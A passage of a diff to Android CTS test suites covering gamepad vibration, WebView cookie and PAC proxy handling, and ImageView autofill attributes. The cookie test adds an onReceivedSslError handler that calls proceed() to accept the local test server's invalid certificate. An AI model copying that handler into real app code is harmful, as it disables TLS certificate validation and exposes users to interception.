+ private UinputDevice mUinputDevice;
+ private InputJsonParser mParser;
+ private Instrumentation mInstrumentation;
+ private VibratorManager mVibratorManager;
+ private int mDeviceId;
+
+ /**
+ * Get a vibrator manager from input device with specified Vendor Id and Product Id.
+ * @param vid Vendor Id
+ * @param pid Product Id
+ * @return VibratorManager object in specified InputDevice
+ */
+ private VibratorManager getVibratorManager(int vid, int pid) {
+ final int[] inputDeviceIds = mInputManager.getInputDeviceIds();
+ for (int inputDeviceId : inputDeviceIds) {
+ final InputDevice inputDevice = mInputManager.getInputDevice(inputDeviceId);
+ if (inputDevice.getVendorId() == vid && inputDevice.getProductId() == pid) {
+ VibratorManager vibratorManager = inputDevice.getVibratorManager();
+ Log.i(TAG, "Input device: " + inputDeviceId + " VendorId: "
+ + inputDevice.getVendorId() + " ProductId: " + inputDevice.getProductId());
+ return vibratorManager;
+ }
+ }
+ return null;
+ }
+
+ @Before
+ public void setup() {
+ final int resourceId = R.raw.google_gamepad_register;
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mInputManager = mInstrumentation.getTargetContext().getSystemService(InputManager.class);
+ assertNotNull(mInputManager);
+ mParser = new InputJsonParser(mInstrumentation.getTargetContext());
+ mDeviceId = mParser.readDeviceId(resourceId);
+ String registerCommand = mParser.readRegisterCommand(resourceId);
+ mUinputDevice = new UinputDevice(mInstrumentation, mDeviceId, registerCommand);
+ mVibratorManager = getVibratorManager(mParser.readVendorId(resourceId),
+ mParser.readProductId(resourceId));
+ assertTrue(mVibratorManager != null);
+ }
+
+ @After
+ public void tearDown() {
+ mUinputDevice.close();
+ }
+
+ /*
+ * Return vibration count
+ * @totalVibrations expected vibration times
+ * @timeoutMills timeout in milliseconds
+ * @return Actual vibration times
+ */
+ private int getVibrationCount(long totalVibrations, long timeoutMills) {
+ final long startTime = SystemClock.elapsedRealtime();
+ List<UinputResultData> results = new ArrayList<>();
+ int vibrationCount = 0;
+
+ while (vibrationCount < totalVibrations
+ && SystemClock.elapsedRealtime() - startTime < timeoutMills) {
+ SystemClock.sleep(1000);
+ try {
+ results = mUinputDevice.getResults(mDeviceId, "vibrating");
+ if (results.size() < totalVibrations) {
+ continue;
+ }
+ vibrationCount = 0;
+ for (int i = 0; i < results.size(); i++) {
+ UinputResultData result = results.get(i);
+ if (result.reason.equals("vibrating") && result.deviceId == mDeviceId
+ && (result.status > 0)) {
+ vibrationCount++;
+ }
+ }
+ } catch (IOException ex) {
+ throw new RuntimeException("Could not get JSON results from HidDevice");
+ }
+ }
+ return vibrationCount;
+ }
+
+ /*
+ * Test with predefined vibration effects
+ * @resourceId The Json file contains predefined vibration effects
+ */
+ public void testInputVibratorManagerEvents(int resourceId) {
+ final List<UinputVibratorManagerTestData> tests =
+ mParser.getUinputVibratorManagerTestData(resourceId);
+
+ for (UinputVibratorManagerTestData testData : tests) {
+ // Vibration durations must be greater than 0
+ assertTrue(testData.durations.size() > 0);
+ // Only Mono or Stereo vibration effects are allowed
+ assertTrue(testData.amplitudes.size() == 1 || testData.amplitudes.size() == 2);
+
+ final long totalVibrations = testData.durations.size();
+ long timeoutMills = 0;
+ CombinedVibrationEffect.SyncedCombination comb = CombinedVibrationEffect.startSynced();
+
+ final int[] ids = mVibratorManager.getVibratorIds();
+ for (int i = 0; i < testData.amplitudes.size(); i++) {
+ // Verify each vibrator's amplitude array size is same as duration array size
+ assertTrue(testData.durations.size() == testData.amplitudes.valueAt(i).size());
+
+ final VibrationEffect effect;
+ if (testData.durations.size() == 1) {
+ long duration = testData.durations.get(0);
+ int amplitude = testData.amplitudes.valueAt(i).get(0);
+ effect = VibrationEffect.createOneShot(duration, amplitude);
+ // Set timeout to be 2 times of the effect duration.
+ timeoutMills = duration * 2;
+ } else {
+ long[] durations = testData.durations.stream()
+ .mapToLong(Long::longValue).toArray();
+ int[] amplitudes = testData.amplitudes.valueAt(i).stream()
+ .mapToInt(Integer::intValue).toArray();
+ effect = VibrationEffect.createWaveform(
+ durations, amplitudes, -1);
+ // Set timeout to be 2 times of the effect total duration.
+ timeoutMills = Arrays.stream(durations).sum() * 2;
+ }
+
+ if (testData.amplitudes.size() == 1) {
+ CombinedVibrationEffect mono = CombinedVibrationEffect.createSynced(effect);
+ // Start vibration
+ mVibratorManager.vibrate(mono);
+ } else { // testData.amplitudes.size() == 2
+ comb.addVibrator(ids[i], effect);
+ if (i > 0) {
+ // Start vibration
+ CombinedVibrationEffect stereo = comb.combine();
+ mVibratorManager.vibrate(stereo);
+ }
+ }
+ }
+ // Verify we got expected numbers of vibration
+ assertEquals(totalVibrations, getVibrationCount(totalVibrations, timeoutMills));
+ }
+ }
+
+ @Test
+ public void testInputVibratorManager() {
+ testInputVibratorManagerEvents(R.raw.google_gamepad_vibratormanagertests);
+ }
+
+ @Test
+ public void testGetVibrators() {
+ int[] ids = mVibratorManager.getVibratorIds();
+ assertEquals(2, ids.length);
+
+ final Vibrator defaultVibrator = mVibratorManager.getDefaultVibrator();
+ assertNotNull(defaultVibrator);
+ assertTrue(defaultVibrator.hasVibrator());
+
+ for (int i = 0; i < ids.length; i++) {
+ final Vibrator vibrator = mVibratorManager.getVibrator(ids[i]);
+ assertNotNull(vibrator);
+ assertTrue(vibrator.hasVibrator());
+ }
+ }
+
+ @Test
+ public void testUnsupportedVibrationEffectsPreBaked() {
+ final int[] ids = mVibratorManager.getVibratorIds();
+ CombinedVibrationEffect.SyncedCombination comb = CombinedVibrationEffect.startSynced();
+ for (int i = 0; i < ids.length; i++) {
+ comb.addVibrator(ids[i], VibrationEffect.createPredefined(
+ VibrationEffect.EFFECT_CLICK));
+ }
+ CombinedVibrationEffect stereo = comb.combine();
+ mVibratorManager.vibrate(stereo);
+ // Shouldn't get any vibrations for unsupported effects
+ assertEquals(0, getVibrationCount(1 /* totalVibrations */, 1000 /* timeoutMills */));
+ }
+
+ @Test
+ public void testMixedVibrationEffectsOneShotAndPreBaked() {
+ final int[] ids = mVibratorManager.getVibratorIds();
+ CombinedVibrationEffect.SyncedCombination comb = CombinedVibrationEffect.startSynced();
+ comb.addVibrator(ids[0], VibrationEffect.createOneShot(1000,
+ VibrationEffect.DEFAULT_AMPLITUDE));
+ comb.addVibrator(ids[1], VibrationEffect.createPredefined(
+ VibrationEffect.EFFECT_CLICK));
+ CombinedVibrationEffect stereo = comb.combine();
+ mVibratorManager.vibrate(stereo);
+ // Shouldn't get any vibrations for combination of OneShot and Prebaked.
+ // Prebaked effect is not supported by input device vibrator, if the second effect
+ // in combined effects is prebaked the combined effect will not be played.
+ assertEquals(0, getVibrationCount(1 /* totalVibrations */, 1000 /* timeoutMills */));
+ }
+
+ @Test
+ public void testMixedVibrationEffectsPreBakedAndOneShot() {
+ final int[] ids = mVibratorManager.getVibratorIds();
+ CombinedVibrationEffect.SyncedCombination comb = CombinedVibrationEffect.startSynced();
+ comb.addVibrator(ids[0], VibrationEffect.createPredefined(
+ VibrationEffect.EFFECT_CLICK));
+ comb.addVibrator(ids[1], VibrationEffect.createOneShot(1000,
+ VibrationEffect.DEFAULT_AMPLITUDE));
+ CombinedVibrationEffect stereo = comb.combine();
+ mVibratorManager.vibrate(stereo);
+ // Shouldn't get any vibrations for combination of Prebaked and OneShot.
+ // Prebaked effect is not supported by input device vibrator, if the first effect
+ // in combined effects is prebaked the combined effect will not be played.
+ assertEquals(0, getVibrationCount(1 /* totalVibrations */, 1000 /* timeoutMills */));
+ }
+}
diff --git a/tests/tests/webkit/OWNERS b/tests/tests/webkit/OWNERS
index 903494a..2ddd237 100644
--- a/tests/tests/webkit/OWNERS
+++ b/tests/tests/webkit/OWNERS
@@ -1,5 +1,3 @@
# Bug component: 76427
-changwan@google.com
-tobiasjs@google.com
torne@google.com
ntfschr@google.com
diff --git a/tests/tests/webkit/TEST_MAPPING b/tests/tests/webkit/TEST_MAPPING
new file mode 100644
index 0000000..1768625
--- /dev/null
+++ b/tests/tests/webkit/TEST_MAPPING
@@ -0,0 +1,12 @@
+{
+ "presubmit": [
+ {
+ "name": "CtsWebkitTestCases",
+ "options": [
+ {
+ "exclude-annotation": "androidx.test.filters.FlakyTest"
+ }
+ ]
+ }
+ ]
+}
diff --git a/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java b/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
index 9f56724..16c0bd7 100644
--- a/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
@@ -16,12 +16,15 @@
package android.webkit.cts;
+import android.net.http.SslError;
import android.platform.test.annotations.AppModeFull;
import android.test.ActivityInstrumentationTestCase2;
import android.webkit.CookieManager;
import android.webkit.CookieSyncManager;
+import android.webkit.SslErrorHandler;
import android.webkit.WebView;
import android.webkit.ValueCallback;
+import android.webkit.cts.WebViewSyncLoader.WaitForLoadedClient;
import com.android.compatibility.common.util.NullWebViewUtils;
import com.android.compatibility.common.util.PollingCheck;
@@ -43,6 +46,7 @@
private WebView mWebView;
private CookieManager mCookieManager;
private WebViewOnUiThread mOnUiThread;
+ private CtsTestServer mServer;
public CookieManagerTest() {
super("android.webkit.cts", CookieSyncManagerCtsActivity.class);
@@ -68,6 +72,13 @@
}
}
+ @Override
+ protected void tearDown() throws Exception {
+ if (mServer != null) {
+ mServer.shutdown();
+ }
+ }
+
public void testGetInstance() {
if (!NullWebViewUtils.isWebViewAvailable()) {
return;
@@ -100,8 +111,8 @@
mCookieManager.setAcceptCookie(false);
assertFalse(mCookieManager.acceptCookie());
- CtsTestServer server = new CtsTestServer(getActivity(), false);
- String url = server.getCookieUrl("conquest.html");
+ mServer = new CtsTestServer(getActivity(), false);
+ String url = mServer.getCookieUrl("conquest.html");
mOnUiThread.loadUrlAndWaitForCompletion(url);
assertEquals("0", mOnUiThread.getTitle()); // no cookies passed
Thread.sleep(500);
@@ -110,7 +121,7 @@
mCookieManager.setAcceptCookie(true);
assertTrue(mCookieManager.acceptCookie());
- url = server.getCookieUrl("war.html");
+ url = mServer.getCookieUrl("war.html");
mOnUiThread.loadUrlAndWaitForCompletion(url);
assertEquals("0", mOnUiThread.getTitle()); // no cookies passed
waitForCookie(url);
@@ -122,7 +133,7 @@
assertTrue(m.matches());
assertEquals("0", m.group(1));
- url = server.getCookieUrl("famine.html");
+ url = mServer.getCookieUrl("famine.html");
mOnUiThread.loadUrlAndWaitForCompletion(url);
assertEquals("1|count=0", mOnUiThread.getTitle()); // outgoing cookie
waitForCookie(url);
@@ -132,7 +143,7 @@
assertTrue(m.matches());
assertEquals("1", m.group(1)); // value got incremented
- url = server.getCookieUrl("death.html");
+ url = mServer.getCookieUrl("death.html");
mCookieManager.setCookie(url, "count=41");
mOnUiThread.loadUrlAndWaitForCompletion(url);
assertEquals("1|count=41", mOnUiThread.getTitle()); // outgoing cookie
@@ -325,57 +336,59 @@
if (!NullWebViewUtils.isWebViewAvailable()) {
return;
}
- CtsTestServer server = null;
- try {
- // In theory we need two servers to test this, one server ('the first party')
- // which returns a response with a link to a second server ('the third party')
- // at different origin. This second server attempts to set a cookie which should
- // fail if AcceptThirdPartyCookie() is false.
- // Strictly according to the letter of RFC6454 it should be possible to set this
- // situation up with two TestServers on different ports (these count as having
- // different origins) but Chrome is not strict about this and does not check the
- // port. Instead we cheat making some of the urls come from localhost and some
- // from 127.0.0.1 which count (both in theory and pratice) as having different
- // origins.
- server = new CtsTestServer(getActivity());
- // Turn on Javascript (otherwise <script> aren't fetched spoiling the test).
- mOnUiThread.getSettings().setJavaScriptEnabled(true);
+ // In theory we need two servers to test this, one server ('the first party')
+ // which returns a response with a link to a second server ('the third party')
+ // at different origin. This second server attempts to set a cookie which should
+ // fail if AcceptThirdPartyCookie() is false.
+ // Strictly according to the letter of RFC6454 it should be possible to set this
+ // situation up with two TestServers on different ports (these count as having
+ // different origins) but Chrome is not strict about this and does not check the
+ // port. Instead we cheat making some of the urls come from localhost and some
+ // from 127.0.0.1 which count (both in theory and pratice) as having different
+ // origins.
+ mServer = new CtsTestServer(getActivity(), /* secure */ true);
+ mOnUiThread.setWebViewClient(new WaitForLoadedClient(mOnUiThread) {
+ @Override
+ public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
+ // ignore the test server's invalid SSL cert
+ handler.proceed();
+ }
+ });
- // Turn global allow on.
- mCookieManager.setAcceptCookie(true);
- assertTrue(mCookieManager.acceptCookie());
+ // Turn on Javascript (otherwise <script> aren't fetched spoiling the test).
+ mOnUiThread.getSettings().setJavaScriptEnabled(true);
- // When third party cookies are disabled...
- mOnUiThread.setAcceptThirdPartyCookies(false);
- assertFalse(mOnUiThread.acceptThirdPartyCookies());
+ // Turn global allow on.
+ mCookieManager.setAcceptCookie(true);
+ assertTrue(mCookieManager.acceptCookie());
- // ...we can't set third party cookies.
- // First on the third party server we get a url which tries to set a cookie.
- String cookieUrl = toThirdPartyUrl(
- server.getSetCookieUrl("cookie_1.js", "test1", "value1"));
- // Then we create a url on the first party server which links to the first url.
- String url = server.getLinkedScriptUrl("/content_1.html", cookieUrl);
- mOnUiThread.loadUrlAndWaitForCompletion(url);
- assertNull(mCookieManager.getCookie(cookieUrl));
+ // When third party cookies are disabled...
+ mOnUiThread.setAcceptThirdPartyCookies(false);
+ assertFalse(mOnUiThread.acceptThirdPartyCookies());
- // When third party cookies are enabled...
- mOnUiThread.setAcceptThirdPartyCookies(true);
- assertTrue(mOnUiThread.acceptThirdPartyCookies());
+ // ...we can't set third party cookies.
+ // First on the third party server we get a url which tries to set a cookie.
+ String cookieUrl = toThirdPartyUrl(
+ mServer.getSetCookieUrl("cookie_1.js", "test1", "value1", "SameSite=None; Secure"));
+ // Then we create a url on the first party server which links to the first url.
+ String url = mServer.getLinkedScriptUrl("/content_1.html", cookieUrl);
+ mOnUiThread.loadUrlAndWaitForCompletion(url);
+ assertNull(mCookieManager.getCookie(cookieUrl));
- // ...we can set third party cookies.
- cookieUrl = toThirdPartyUrl(
- server.getSetCookieUrl("/cookie_2.js", "test2", "value2"));
- url = server.getLinkedScriptUrl("/content_2.html", cookieUrl);
- mOnUiThread.loadUrlAndWaitForCompletion(url);
- waitForCookie(cookieUrl);
- String cookie = mCookieManager.getCookie(cookieUrl);
- assertNotNull(cookie);
- assertTrue(cookie.contains("test2"));
- } finally {
- if (server != null) server.shutdown();
- mOnUiThread.getSettings().setJavaScriptEnabled(false);
- }
+ // When third party cookies are enabled...
+ mOnUiThread.setAcceptThirdPartyCookies(true);
+ assertTrue(mOnUiThread.acceptThirdPartyCookies());
+
+ // ...we can set third party cookies.
+ cookieUrl = toThirdPartyUrl(
+ mServer.getSetCookieUrl("/cookie_2.js", "test2", "value2", "SameSite=None; Secure"));
+ url = mServer.getLinkedScriptUrl("/content_2.html", cookieUrl);
+ mOnUiThread.loadUrlAndWaitForCompletion(url);
+ waitForCookie(cookieUrl);
+ String cookie = mCookieManager.getCookie(cookieUrl);
+ assertNotNull(cookie);
+ assertTrue(cookie.contains("test2"));
}
public void testb3167208() throws Exception {
diff --git a/tests/tests/webkit/src/android/webkit/cts/PacProcessorTest.java b/tests/tests/webkit/src/android/webkit/cts/PacProcessorTest.java
index 784fe5c..2843011 100644
--- a/tests/tests/webkit/src/android/webkit/cts/PacProcessorTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/PacProcessorTest.java
@@ -19,92 +19,109 @@
import android.content.Context;
import android.net.ConnectivityManager;
import android.net.Network;
-import android.util.Log;
import android.webkit.PacProcessor;
-import android.webkit.WebViewFactory;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
import androidx.test.platform.app.InstrumentationRegistry;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
public final class PacProcessorTest {
- static final String TAG = "PacProcessorCtsTest";
+ private static final String TAG = "PacProcessorCtsTest";
+ private static final long REMOTE_TIMEOUT_MS = 5000;
- private ConnectivityManager mConnectivityManager;
+ private TestProcessClient mProcess;
- @Before
- public void setUp() {
- Context context = InstrumentationRegistry.getInstrumentation().getContext();
- mConnectivityManager =
- context.getSystemService(ConnectivityManager.class);
- }
+ @Before
+ public void setUp() throws Throwable {
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ mProcess = TestProcessClient.createProcessB(context);
+ }
- /**
- * Test that each {@link PacProcessor#createInstance} call returns a new not null instance.
- */
- @Test
- public void testCreatePacProcessor() {
- PacProcessor pacProcessor = PacProcessor.createInstance();
- PacProcessor otherPacProcessor = PacProcessor.createInstance();
+ static class TestCreatePacProcessor extends TestProcessClient.TestRunnable {
+ @Override
+ public void run(Context ctx) {
+ PacProcessor pacProcessor = PacProcessor.createInstance();
+ PacProcessor otherPacProcessor = PacProcessor.createInstance();
- Assert.assertNotNull("createPacProcessor must not return null", pacProcessor);
- Assert.assertNotNull("createPacProcessor must not return null", otherPacProcessor);
+ Assert.assertNotNull("createPacProcessor must not return null", pacProcessor);
+ Assert.assertNotNull("createPacProcessor must not return null", otherPacProcessor);
- Assert.assertFalse("createPacProcessor must return different objects", pacProcessor == otherPacProcessor);
+ Assert.assertFalse("createPacProcessor must return different objects", pacProcessor == otherPacProcessor);
- pacProcessor.setProxyScript(
- "function FindProxyForURL(url, host) {" +
- "return \"PROXY 1.2.3.4:8080\";" +
- "}"
- );
- otherPacProcessor.setProxyScript(
- "function FindProxyForURL(url, host) {" +
- "return \"PROXY 5.6.7.8:8080\";" +
- "}"
- );
+ pacProcessor.setProxyScript(
+ "function FindProxyForURL(url, host) {" +
+ "return \"PROXY 1.2.3.4:8080\";" +
+ "}"
+ );
+ otherPacProcessor.setProxyScript(
+ "function FindProxyForURL(url, host) {" +
+ "return \"PROXY 5.6.7.8:8080\";" +
+ "}"
+ );
- Assert.assertEquals("PROXY 1.2.3.4:8080", pacProcessor.findProxyForUrl("test.url"));
- Assert.assertEquals("PROXY 5.6.7.8:8080", otherPacProcessor.findProxyForUrl("test.url"));
+ Assert.assertEquals("PROXY 1.2.3.4:8080", pacProcessor.findProxyForUrl("test.url"));
+ Assert.assertEquals("PROXY 5.6.7.8:8080", otherPacProcessor.findProxyForUrl("test.url"));
- pacProcessor.release();
- otherPacProcessor.release();
- }
+ pacProcessor.release();
+ otherPacProcessor.release();
+ }
+ }
- /**
- * Test PacProcessor does not have set Network by default.
- */
- @Test
- public void testDefaultNetworkIsNull() {
- PacProcessor pacProcessor = PacProcessor.createInstance();
- Assert.assertNull("PacProcessor must not have Network set", pacProcessor.getNetwork());
+ /**
+ * Test that each {@link PacProcessor#createInstance} call returns a new not null instance.
+ */
+ @Test
+ public void testCreatePacProcessor() throws Throwable {
+ mProcess.run(TestCreatePacProcessor.class, REMOTE_TIMEOUT_MS);
+ }
- pacProcessor.release();
- }
+ static class TestDefaultNetworkIsNull extends TestProcessClient.TestRunnable {
+ @Override
+ public void run(Context ctx) {
+ PacProcessor pacProcessor = PacProcessor.createInstance();
+ Assert.assertNull("PacProcessor must not have Network set", pacProcessor.getNetwork());
- /**
- * Test that setNetwork correctly set Network to PacProcessor.
- */
- @Test
- public void testSetNetwork() {
- Network[] networks = mConnectivityManager.getAllNetworks();
- Assert.assertTrue("testSetNetwork requires at least one available Network", networks.length > 0);
+ pacProcessor.release();
+ }
+ }
- PacProcessor pacProcessor = PacProcessor.createInstance();
- PacProcessor otherPacProcessor = PacProcessor.createInstance();
+ /**
+ * Test PacProcessor does not have set Network by default.
+ */
+ @Test
+ public void testDefaultNetworkIsNull() throws Throwable {
+ mProcess.run(TestDefaultNetworkIsNull.class, REMOTE_TIMEOUT_MS);
+ }
- pacProcessor.setNetwork(networks[0]);
- Assert.assertEquals("Network is not set", networks[0], pacProcessor.getNetwork());
- Assert.assertNull("setNetwork must not affect other PacProcessors", otherPacProcessor.getNetwork());
+ static class TestSetNetwork extends TestProcessClient.TestRunnable {
+ @Override
+ public void run(Context ctx) {
+ ConnectivityManager connectivityManager =
+ ctx.getSystemService(ConnectivityManager.class);
+ Network[] networks = connectivityManager.getAllNetworks();
+ Assert.assertTrue("testSetNetwork requires at least one available Network", networks.length > 0);
- pacProcessor.setNetwork(null);
- Assert.assertNull("Network is not unset", pacProcessor.getNetwork());
+ PacProcessor pacProcessor = PacProcessor.createInstance();
+ PacProcessor otherPacProcessor = PacProcessor.createInstance();
- pacProcessor.release();
- otherPacProcessor.release();
- }
-}
+ pacProcessor.setNetwork(networks[0]);
+ Assert.assertEquals("Network is not set", networks[0], pacProcessor.getNetwork());
+ Assert.assertNull("setNetwork must not affect other PacProcessors", otherPacProcessor.getNetwork());
+
+ pacProcessor.setNetwork(null);
+ Assert.assertNull("Network is not unset", pacProcessor.getNetwork());
+
+ pacProcessor.release();
+ otherPacProcessor.release();
+ }
+ }
+ /**
+ * Test that setNetwork correctly set Network to PacProcessor.
+ */
+ @Test
+ public void testSetNetwork() throws Throwable {
+ mProcess.run(TestSetNetwork.class, REMOTE_TIMEOUT_MS);
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/widget/res/layout/imageview_layout.xml b/tests/tests/widget/res/layout/imageview_layout.xml
index 5de0769..00dfc79 100644
--- a/tests/tests/widget/res/layout/imageview_layout.xml
+++ b/tests/tests/widget/res/layout/imageview_layout.xml
@@ -49,5 +49,26 @@
android:layout_width="wrap_content"
android:layout_height="wrap_content" />
+ <ImageView
+ android:id="@+id/imageview_important_auto"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:importantForAutofill="auto"
+ android:importantForContentCapture="auto" />
+
+ <ImageView
+ android:id="@+id/imageview_important_no"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:importantForAutofill="no"
+ android:importantForContentCapture="no" />
+
+ <ImageView
+ android:id="@+id/imageview_important_yes"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:importantForAutofill="yes"
+ android:importantForContentCapture="yes" />
+
</LinearLayout>
diff --git a/tests/tests/widget/src/android/widget/cts/ImageViewTest.java b/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
index e09946d..b3392b3 100644
--- a/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
@@ -60,6 +60,7 @@
import android.net.Uri;
import android.util.AttributeSet;
import android.util.Xml;
+import android.view.View;
import android.widget.ImageView;
import android.widget.ImageView.ScaleType;
import android.widget.cts.util.TestUtils;
@@ -159,6 +160,59 @@
@UiThreadTest
@Test
+ public void testConstructorImportantForAutofill() {
+ ImageView imageView = new ImageView(mActivity);
+ assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+ assertFalse(imageView.isImportantForAutofill());
+
+ imageView = new ImageView(mActivity, null);
+ assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+ assertFalse(imageView.isImportantForAutofill());
+
+ imageView = mActivity.findViewById(R.id.imageview_important_auto);
+ assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+ assertFalse(imageView.isImportantForAutofill());
+
+ imageView = mActivity.findViewById(R.id.imageview_important_no);
+ assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+ assertFalse(imageView.isImportantForAutofill());
+
+ imageView = mActivity.findViewById(R.id.imageview_important_yes);
+ assertEquals(View.IMPORTANT_FOR_AUTOFILL_YES, imageView.getImportantForAutofill());
+ assertTrue(imageView.isImportantForAutofill());
+ }
+
+ @UiThreadTest
+ @Test
+ public void testConstructorImportantForContentCapture() {
+ ImageView imageView = new ImageView(mActivity);
+ assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+ imageView.getImportantForContentCapture());
+ assertTrue(imageView.isImportantForContentCapture());
+
+ imageView = new ImageView(mActivity, null);
+ assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+ imageView.getImportantForContentCapture());
+ assertTrue(imageView.isImportantForContentCapture());
+
+ imageView = mActivity.findViewById(R.id.imageview_important_auto);
+ assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+ imageView.getImportantForContentCapture());
+ assertTrue(imageView.isImportantForContentCapture());
+
+ imageView = mActivity.findViewById(R.id.imageview_important_no);
+ assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_NO,
+ imageView.getImportantForContentCapture());
+ assertFalse(imageView.isImportantForContentCapture());
+
+ imageView = mActivity.findViewById(R.id.imageview_important_yes);
+ assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+ imageView.getImportantForContentCapture());
+ assertTrue(imageView.isImportantForContentCapture());
+ }
+
+ @UiThreadTest
+ @Test
public void testInvalidateDrawable() {
mImageViewRegular.invalidateDrawable(null);
}
diff --git a/tests/tests/widget/src/android/widget/cts/OWNERS b/tests/tests/widget/src/android/widget/cts/OWNERS
index dd41f7f..080c707 100644
--- a/tests/tests/widget/src/android/widget/cts/OWNERS
+++ b/tests/tests/widget/src/android/widget/cts/OWNERS
@@ -1 +1,2 @@
per-file TextView*.java, EditText*.java = siyamed@google.com, nona@google.com, clarabayarri@google.com
+per-file ToastTest.java = beverlyt@google.com, brufino@google.com, jtomljanovic@google.com, juliacr@google.com
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
index f547bed..a6ec3fa 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
@@ -696,7 +696,7 @@
assertNull(newActivity);
Intent intent = new Intent(Intent.ACTION_VIEW, uri);
- PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+ PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
mRemoteViews.setOnClickPendingIntent(R.id.remoteView_image, pendingIntent);
mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
mActivityRule.runOnUiThread(() -> view.performClick());
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewOnReceiveContentTest.java b/tests/tests/widget/src/android/widget/cts/TextViewOnReceiveContentTest.java
index 51e2696..3140f50 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewOnReceiveContentTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewOnReceiveContentTest.java
@@ -33,7 +33,6 @@
import static org.mockito.Mockito.times;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.verifyNoMoreInteractions;
-import static org.mockito.Mockito.verifyZeroInteractions;
import static org.mockito.Mockito.when;
import android.annotation.NonNull;
@@ -55,7 +54,6 @@
import android.view.ContentInfo;
import android.view.DragEvent;
import android.view.OnReceiveContentListener;
-import android.view.View;
import android.view.View.MeasureSpec;
import android.view.autofill.AutofillValue;
import android.view.inputmethod.EditorInfo;
@@ -183,42 +181,6 @@
assertThat(editorInfo.contentMimeTypes).isEqualTo(receiverMimeTypes);
}
- @UiThreadTest
- @Test
- public void testTextView_getAutofillType_noCustomReceiver() throws Exception {
- initTextViewForEditing("", 0);
- assertThat(mTextView.getAutofillType()).isEqualTo(View.AUTOFILL_TYPE_TEXT);
- }
-
- @UiThreadTest
- @Test
- public void testTextView_getAutofillType_customReceiver() throws Exception {
- initTextViewForEditing("", 0);
-
- // Setup: Configure the receiver to a mock impl that supports text and images.
- String[] receiverMimeTypes = new String[] {"text/*", "image/*"};
- mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
-
- // Assert that the autofill type returned is still AUTOFILL_TYPE_TEXT.
- assertThat(mTextView.getAutofillType()).isEqualTo(View.AUTOFILL_TYPE_TEXT);
- verifyZeroInteractions(mMockReceiver);
- }
-
- @UiThreadTest
- @Test
- public void testTextView_getAutofillType_customReceiver_oldTargetSdk() throws Exception {
- configureAppTargetSdkToR();
- initTextViewForEditing("", 0);
-
- // Setup: Configure the receiver to a mock impl that supports text and images.
- String[] receiverMimeTypes = new String[] {"text/*", "image/*"};
- mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
-
- // Assert that the autofill type returned is still AUTOFILL_TYPE_TEXT.
- assertThat(mTextView.getAutofillType()).isEqualTo(View.AUTOFILL_TYPE_TEXT);
- verifyZeroInteractions(mMockReceiver);
- }
-
// ============================================================================================
// Tests to verify the behavior of TextViewOnReceiveContentListener.
// ============================================================================================
@@ -659,8 +621,7 @@
initTextViewForEditing("xz", 1);
// Trigger autofill. This should execute the default receiver.
- ClipData clip = ClipData.newPlainText("test", "y");
- triggerAutofill(clip);
+ triggerAutofill("y");
assertTextAndCursorPosition("y", 1);
}
@@ -672,8 +633,8 @@
mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
// Trigger autofill and assert that the custom receiver was executed.
- ClipData clip = ClipData.newPlainText("test", "y");
- triggerAutofill(clip);
+ triggerAutofill("y");
+ ClipData clip = ClipData.newPlainText("", "y");
verify(mMockReceiver, times(1)).onReceiveContent(
eq(mTextView), contentEq(clip, SOURCE_AUTOFILL, 0));
verifyNoMoreInteractions(mMockReceiver);
@@ -682,40 +643,6 @@
@UiThreadTest
@Test
- public void testAutofill_customReceiver_unsupportedMimeType() throws Exception {
- initTextViewForEditing("xz", 1);
- String[] receiverMimeTypes = new String[] {"text/*"};
- mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
-
- // Trigger autofill and assert that the custom receiver was executed.
- ClipData clip = new ClipData("test", new String[]{"video/mp4"},
- new ClipData.Item("y", null, SAMPLE_CONTENT_URI));
- triggerAutofill(clip);
- verify(mMockReceiver, times(1)).onReceiveContent(
